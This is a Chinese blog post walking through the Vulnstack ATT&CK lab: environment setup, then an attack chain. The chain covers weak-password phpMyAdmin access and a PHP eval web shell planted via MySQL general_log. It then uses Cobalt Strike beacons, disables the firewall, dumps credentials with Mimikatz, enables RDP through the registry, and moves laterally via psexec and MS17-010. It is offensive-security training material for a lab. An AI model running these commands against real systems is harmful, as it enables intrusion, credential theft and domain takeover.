SwanQ's blog

To live is to Risk it All

0%

ATK&CK实战靶场搭建及攻击

1. 环境搭建

说实话对于搭建window内外网IP之前没试过,觉得也很简单,结果把内网网络适配器和外网的网络适配器搞反了,导致时间耗费较高,特此记录。其他的博客大抵都跳过了此步骤。

下载靶场环境:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

大家的模拟攻击示意图很清楚,在此借鉴一下:

靶机环境拓扑图如下:

配置网络:

分别给web服务器配置NAT模式的网卡一个作为外网,VMnet2的网卡一个作为内网。其余域控和域成员分配一个VMnet2即可。在vmware的虚拟网络配置器里面需要添加VMnet2,且设置NAT模式取消DHCP自动分配IP选项。

win7开机后,需要设置本地连接6的IPV4如下图所示:

控制面板 - 网络和Internet - 网络和共享中心 - 更改适配器设置 - 右键本地连接6 - 双击IPv4,其中114.114.114.114是国内三大运营商的通用DNS,是国内用户上网常用的DNS

8.8.8.88.8.4.4 是Google提供的免费DNS服务器的IP,更适合国外以及访问国外网站的用户使用

参考下图:

开启win7的phpstudy,同时测试win7是否可以pingkali和内网的两台主机。ping通over,环境搭建到此结束。

2. 攻击流程

0x01 主机发现

DMZ区也就是处于两个防火墙之间的,一个合格的DMZ区是为了提供外部主机访问内网资源服务器的一个缓冲区域,应该有着严格的内外网隔离,本次靶场只是一个模拟,dmz区并没有很合规。

那么入手以后,先进行信息收集,桥接嘛,那么直接扫一下桥接网段的存活主机

1
2
3
nmap -sP 192.168.140.0/24

netdiscover -i eth0 -r 192.168.140.0/24

获得目标IP,开始扫描端口:

1
2
# -vv提高输出信息的详细度
nmap -sV -vv -p 1-65535 192.168.140.130

80端口是一个phpstudy探针:

最下方有数据库登陆框测试mysql连同,尝试root/root即可登陆。初步getshell思路就是通过mysql拿shell。

目录扫描还是御剑靠谱一点,扫出beifen.rar。

备份文件发现网站源码,打开robots.txt发现网站CMS为yxcms,访问http://192.168.1.102/yxcms进入网站首页

0x02 漏洞利用

漏洞一:信息泄露+弱口令

网站http://192.168.1.102/yxcms后台泄露后台登陆地址和用户密码。

成功登陆后台管理页面,可以添加、编辑、删除管理员,管理数据库及上传文件。

漏洞二:PhpMyAdmin弱口令

使用默认用户名/口令(root/root)成功登录PhpMyAdmin管理页面,可以看到数据库的所有内容

漏洞三:yxcms留言本XSS存储型漏洞

前台提交带有XSS代码的留言,后台审核成功弹出XSS弹窗,审核通过之后,前台成功弹窗。通过该漏洞可以获取管理员cookie或者诱导管理员点击执行某恶意代码

漏洞四:yxcms后台任意文件读写漏洞

后台管理首页–> 前台模板–>管理模板文件 –>新建hack.php文件

找备份文件即可看到文件的保存目录为:http://192.168.1.102/yxcms/protected/apps/default/view/default/hack.php

使用蚁剑成功连接:

漏洞五:PhpMyAdmin开启全局日志getshell

  1. 测试是否可以使用into outfile写入文件到web目录:Select ‘ ‘ into outfile ‘C:/phpStudy/WWW/hack.php’。发现写入失败。

  2. 再查看变量secure-file-priv 值: show global variables like ‘%secure%’发现为NULL,为只读无法修改。

  1. 尝试用全局日志写shell,查看全局变量general_log:show global variables like ‘%general_%’。于是开启全局日志并修改日志保存位置为C:/phpStudy/WWW/hack.php

    1
    2
    set global general_log=on;
    set global general_log_file='C:/phpStudy/WWW/hack.php';

查询一句话写入日志Select '<?php eval($_POST[hack]);?>'

使用蚁剑连接一句话木马http://192.168.140.130/hack.php。web目录直接IP加文件名就好。

0x03 getshell

此时会用到Cobalt Strike, 以Metasploit为基础的GUI框架式渗透测试工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,exe、powershell木马生成等。是团队渗透神器,能让多个攻击者同时连接到团体服务器上,共享攻击资源与目标信息和sessions。对内网的渗透测试和作为apt的控制终端功能,使其变成众多APT组织的首选。

我们用kali作为CS服务器,用蚁剑给win7上传java 11和CS。CS服务器和CS客户端分别如下:

选择监听器,为后头生成木马做铺垫

蚁剑关闭防火墙:终端执行:netsh advfirewall set allprofiles state off

生成木马artifact.exe.(Attacks -> Packages -> Windows Executable ),并用蚁剑上传win7。用蚁剑终端执行artifact.exe之后,win7提示artifact.exe已停止工作。发现是监听主机选错了,当然是要选择攻击方(服务器)。当然记得要选择为64位。

tips:

相同文件名的shell,蚁剑会上传失败。

终于提权成功了。

0x04 后渗透之系统信息收集

1.主机信息收集

1
beacon> shell ipconfig/all

我们知道140是外网,还发现52网段。域是god.org,说明当前主机是在域内的,初步判断域名为god.org.

内网信息收集:

查询主机名:whoami,hostname

查询系统体系架构:echo %PROCESSOR_ARCHITECTURE%

查看当前运行进程:wmic process list brief

域相关:

查询本地所有用户:net user

查看域内所有用户列表:net group /domain

进入域:net group /domain:god

查看域成员计算机列表:net group “domain computers” /domain
查看域管理员用户,也就是域控:net group “domain admins” /domain

参考:https://article.itxueyuan.com/56bEWk

查看本机名,hostname,架构,域信息等,CSshell执行命令实在是太慢了,后来发现是自己没改sleep时间,在Cobalt Strike中,默认心跳为60s,执行命令的响应很慢,在下载文件时更加明显,所以根据实战环境把时间降低,建议不要太快,否则流量会相对明显。主机扫描和端口扫描在beacon处,可直接用。

查看是否有常见的杀毒软件

  • 域控制用户:OWA

  • 本机计算机:STU1,

  • 域成员:ROOT-TVI862UBEH

2. 主机密码收集

拿到本机的Administrator权限,先提权,右键Access -> Elevate,提权至System:

System权限->Access->Run Mimikaz,获取win7系统用户名和密码。这里要注意,如果域控登陆本机,可以直接拿到域控的账户和密码。

view -> Credentials

3.远程桌面登陆

要使用远程桌面登陆的话,得远程开启对方的3389端口,不妨试试。当然得先关闭防火墙,之前上传shell的时候已经关闭了,所以此时不再需要。CS 右键Explore -> Desktop(VNC)也可以直接远程桌面。

whoami的信息是god\administrator,密码是Security1

此时远程桌面登陆:

尝试多次一直登陆失败,是把用户名记成god,执行whoami看到是god\administrator。

注:

注册表开启3389端口:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

0x05 内网主机探测

  • 域控制用户:OWA

  • 本机计算机:STU1,

  • 域成员:ROOT-TVI862UBEH

远程登陆之后发现win7已安装nmap,不妨利用起来,直接进行内网扫描。

1
nmap -sP 192.168.52.0/24

k8的Ladon也可以直接进行内网扫描:

1
Ladon 192.168.52.0/24 OnlinePC

扫描端口:beacon上右键->Explore -> PortScan

icmp扫描完之后,在view->target选项即可看到内网存活主机。

总结一下所开放端口,其实target处右键services可以直接看到每个主机所开放的端口。不过还是nmap的比较全.

138开放端口如下:

141开放端口如下:

143 www.qiyuanxuetang.net 开放端口如下:

0x06 横向移动拿权限

目前我们只拿到本机的账户密码和System权限,我们需要去隐秘探测内网的其他主机。

第一种:Ladon发现

用Ladon扫描主机及漏洞,可以看到三者都存在MS17-010漏洞

第二种:使用SMB beacon

SMB beacon相对隐秘,对绕过防火墙有奇效。SMB beacon通过命名管道和父Beacon进行通讯。两个Beacons连接之后,父beacon发布任务并传送给子beacon,Beacon之间使用windows命名管道通信,此通信流量封装于SMB协议中。故而相对隐秘。

新建一个listener,payload设定为Beacon SMB

在已有的beacon上右键spawn生成会话,进行派生.选择建立的SMB beacon的listener。选择后会反弹一个子会话:

执行psexec有两种方法:

其一:选择用户登录

然后psexec使用凭证来登入其他主机。Beacon选择SMB,Listener选择本机128.

psexec会分别执行rev2self、make_token GOD.ORG\Administrator Security1、jump psexec OWA SMB

其二:token窃取

最终得到内网主机的System权限。

0x07 CS-MSF联动使用MS17010扫描

通过beacon内置的socks功能将本地Msf直接代入目标内网进行操作即可。socks 1080。

1
2
setg Proxies socks4:127.0.0.1:1080
setg ReverseAllowProxy true

同样拿到权限。

3.总结

1,CS的Beacon后自带四个点,说明是通过代理服务器获得的控制权限。

4.reference

CS教程参考:https://bbs.huaweicloud.com/blogs/204574

https://iter01.com/598439.html

https://www.freebuf.com/column/231111.html

https://chaceshadow.github.io/2020/09/28/ATC-CK-Vulnstack-1/#3-2-1-6-%E6%BC%8F%E6%B4%9E%E5%85%AD%EF%BC%9APhpMyAdmin%E5%BC%80%E5%90%AF%E5%85%A8%E5%B1%80%E6%97%A5%E5%BF%97getshell

https://blog.ateam.qianxin.com/CobaltStrike4.0%E7%94%A8%E6%88%B7%E6%89%8B%E5%86%8C_%E4%B8%AD%E6%96%87%E7%BF%BB%E8%AF%91.pdf